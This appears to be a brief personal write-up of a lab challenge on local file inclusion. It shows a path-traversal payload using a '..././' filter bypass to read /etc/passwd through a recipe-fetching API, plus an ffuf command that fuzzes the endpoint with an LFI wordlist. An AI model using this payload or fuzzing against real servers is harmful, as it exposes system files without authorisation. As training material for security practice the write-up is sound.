File Inclusion 0x03 [Challenge]

Theres no paramater here in the url

As we can see the url is api based

This works

/labs/api/fetchRecipe.php?filename=..././..././..././..././..././etc/passwd 

ORRR

we could brute force

First just try with no words -fw

Then just try the LFI payload with 19 words

If the 19 words result is not working just remove it using -fw

Same with 20

Keep trying

ffuf -request api-req.txt -request-proto http -w /usr/share/wordlists/seclists/SecLists-master/Fuzzing/LFI/LFI-Jhaddix.txt -fw 19,20